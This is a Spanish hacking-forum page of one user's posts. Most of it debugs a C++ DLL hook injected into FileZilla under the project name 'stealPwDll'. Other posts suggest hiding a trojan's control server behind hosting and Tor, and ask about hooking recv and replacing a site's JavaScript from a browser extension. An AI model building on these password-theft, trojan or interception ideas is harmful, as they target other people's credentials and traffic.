Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - patilanz

#111
Ahora compruebo el timeout que me dijiste pero mientras pongo lo que estuve comprobando:

Código (cpp) [Seleccionar]
MessageBox(0, "data", "g++", 0);
msgSend = true;
g++;
MessageBox(0, "data", "char msg[100]", 0);
char msg[100];
MessageBox(0, "data", "CWPSTRUCT *data = (CWPSTRUCT *)lparam;", 0);
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
MessageBox(0, "data", "sprintf", 0);

sprintf(msg, "%d -> %x", g, data->message);
MessageBox(0, msg, "Window title", 0);


Lo mismo que antes pero esta empieza desde 1 hasta 30 y el primer conjunto de  dialogboxes siempre se buquea y se queda sin texto como si msg estuviera vació. (Esto también pasaba antes)

Si pongo el msgSend antes de un messagebox todo perfecto.
Luego hice un log en un txt:

Código (cpp) [Seleccionar]
LRESULT CALLBACK getPw(int code,WPARAM wparam,LPARAM lparam){
if (code != HC_ACTION){
return (CallNextHookEx(hook, code, wparam, lparam));
}
else if(!wparam){
if (!msgSend){
if (file == NULL){
file = fopen("holaholahola", "w");
}
w("\n\n ---- New call ----");
w("g++");
MessageBox(0, "data", "g++", 0);
g++;
w("char msg[100]");
MessageBox(0, "data", "char msg[100]", 0);
char msg[100];
w("CWPSTRUCT *data = (CWPSTRUCT *)lparam;");
MessageBox(0, "data", "CWPSTRUCT *data = (CWPSTRUCT *)lparam;", 0);
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
w("sprintf");
MessageBox(0, "data", "sprintf", 0);

sprintf(msg, "%d -> %x", g, data->message);
w("msgSend = true;");
MessageBox(0, msg, "MsgSend", 0);
msgSend = true;

}
}
return 1;
}

void w(char *str){
fwrite(str, 1, strlen(str), file);
fwrite("\n", 1, 2, file);
fflush(file);
}


Resultado:

Citar

---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++


---- New call ----
g++
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;
char msg[100]
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
sprintf
msgSend = true;

@Edit: Usando el debugger while (!GetMessage(&msg, 0, 0, 0)) nunca entra en el bucle ni al pulsar al botón X de cerrar la consola.

@Editx2: Cambie el código para comprobar si el hook sigue activo y parece que no:

Código (cpp) [Seleccionar]
LRESULT CALLBACK getPw(int code,WPARAM wparam,LPARAM lparam){
if (code != HC_ACTION){
return (CallNextHookEx(hook, code, wparam, lparam));
}
else if(!wparam){
if (!msgSend){
if (file == NULL){
file = fopen("holaholahola", "w");
}
w("\n\n ---- New call ----");
...
msgSend = true;
}
else{
CWPSTRUCT *data = (CWPSTRUCT *)lparam;
if (data->message == WM_LBUTTONDOWN){
MessageBox(0, "El hook sigue activo", "Buenos dias senior X!!", 0);
}
}
}
return 1;
}


Después de los dialogbox del principio espero unos segundos y pulso con el ratón pero el evento parce que no se recibe porque no se muestra el dialogbox
#112
Cita de: ivancea96 en  8 Julio 2015, 01:35 AM
Solo por si acaso, ¿despues del MessageBox se sigue ejecutando código? Pon otro MessageBox a ver.

Si, en ambos casos (msgSend primero y ultimo).
#113
Hola estuve probando cositas y en este codigo:

Código (cpp) [Seleccionar]

//Main.cpp
typedef void(_MakeHook)(DWORD threadID, int dlgID);

int _tmain(int argc, _TCHAR* argv[])
{
HWND hwnd = FindWindow("wxWindowNR", "FileZilla");
if (hwnd == 0){
printf("FileZilla not found\n");
getchar();
return 0;
}

HMODULE library = LoadLibrary("C:\\Users\\User\\Documents\\Visual Studio 2013\\Projects\\stealPwDll_real\\x64\\Debug\\stealPwDll_dll.dll");
if (library == NULL){
printf("error library %d\n",GetLastError());
}
_MakeHook * MakeHook = (_MakeHook *)GetProcAddress(library, "MakeHook");
if (MakeHook == 0){
printf("getpw error\n");
}
MakeHook(GetWindowThreadProcessId(hwnd, 0), 0xFFFF83C4);

MSG msg;
while (!GetMessage(&msg, 0, 0, 0)){
TranslateMessage(&msg);
DispatchMessage(&msg);
}

getchar();
return 0;
}



Código (cpp) [Seleccionar]

//Código del main_dll.cpp
#include <Windows.h>
#include "main.h"
#include <stdio.h>

#pragma warning(disable:4996)

HMODULE hmodule;
HHOOK hook;
bool msgSend = false;
int g = 0;

BOOL WINAPI DllMain(HMODULE hmodule,DWORD reason,LPVOID){
if (reason == DLL_PROCESS_ATTACH){
::hmodule = hmodule;
}
return 1;
}




void MakeHook(DWORD id, int dlgID){
hook = SetWindowsHookEx(WH_CALLWNDPROC, getPw, hmodule, id);
if (hook == NULL){
char msg[100];
sprintf(msg, "Hook error -> %d", GetLastError());
MessageBox(0, msg, "Hook error", MB_ICONERROR);
}
}


LRESULT CALLBACK getPw(int code,WPARAM wparam,LPARAM lparam){
if (code != HC_ACTION){
return (CallNextHookEx(hook, code, wparam, lparam));
}
else if(!wparam){
if (!msgSend){
g++;
char msg[100];
sprintf(msg, "%d", g);
MessageBox(0, "Not current thread call", msg, MB_ICONINFORMATION); //  ----------- Parte rara --------
msgSend = true;
}
}
return 1;
}


Si utilizo el código del main_dll.cpp me muestra 30 MessageBox empezando desde g = 30
Si cambio el código:
Código (cpp) [Seleccionar]
LRESULT CALLBACK getPw(int code,WPARAM wparam,LPARAM lparam){
if (code != HC_ACTION){
return (CallNextHookEx(hook, code, wparam, lparam));
}
else if(!wparam){
if (!msgSend){
msgSend = true; // ----- Parte cambiada -> msgSend = true; sube primero
g++;
char msg[100];
sprintf(msg, "%d", g);
MessageBox(0, "Not current thread call", msg, MB_ICONINFORMATION);

}
}
return 1;
}


Me muestra solo un MessageBox como debe ser.

Porque???

Un saludo
#114
hostinger.es + tor para conectarte a una pagina http que servirá de cliente te basta, creo yo. El troyano envia los datos directamente a la pagina a la que accede solamente el infectado porque tu usas tor para mandar ordenes.
#115
Creo que el usuario de la propuesta no va a contestar así que si alguien quiere y tiene tiempo se me ocurrió hacer una pequeña pagina web con usuarios, sistema de archivos para los programas y una especie de "tareas" que serán crear programas y mas tarde cosas como realizar un ataque o utilizar ingeniera inversa para x cosa...  y un lugar para libros aunque para esto esta el foro
La idea seria algo así:

1 - Usuario propone idea
2 - Todos los usuario que quieran crean su código y lo suben en el sistema de archivos (ftp supongo del hosting) al final en un irc o teamspeaker cada uno comenta que tal le ha parecido los códigos de los demás participantes en la propuesta y podríamos crear un programa final (de la propuesta, habrá muchas) juntando las ideas de todos.
3 - Podría existir un sistema de puntos.
4 - NO hay mensajes privados, todo es publico
5 - Si hay gente mas avanzada creamos pc virtuales y atacamos  ;D


Bueno al final creo que va pasar algo como esto:
Gente que se une: muchoooos
Gente que se une y hace algo: [0,0] (sin incluirme)

Que os parece  ;D
Anonimo: Se le habrá ido la pinta  :o
#116
Cita de: Spectatorem en  7 Julio 2015, 14:29 PM
Aun estoy descargando los metadatos XDDDDD

A mi directamente se me bloquea :DD
Sabes cual de los dos es el source ?
#117
Alguien consiguió descargar los torrents?
#118
Cita de: engel lex en  7 Julio 2015, 05:05 AM
dudo que la pueda conseguir, si la tiene es poco lo que puede hacer, menos si tienes router

Que cambia el router ? El ataque no sigue siendo el mismo ? Puertos abiertos vulnerabilidades etc... ?
#119
Hola es posible media la inyección de una dll y luego un hook hacia la recv función o la que use captar los datos y cambiarlos antes de llamar a la función que tenia asignada ?

Si no que alternativas queda?

Saludos
#120
Hola quiero crear una extensión para firefox en la que puedo captar la carga de un archivo js por parte de una web y reemplazar su contenido por otro y cargar mi código.
Como un ataque MitM.

No encuentro una API o función para para la ejecución y reemplazar el contenido.

Alguna idea?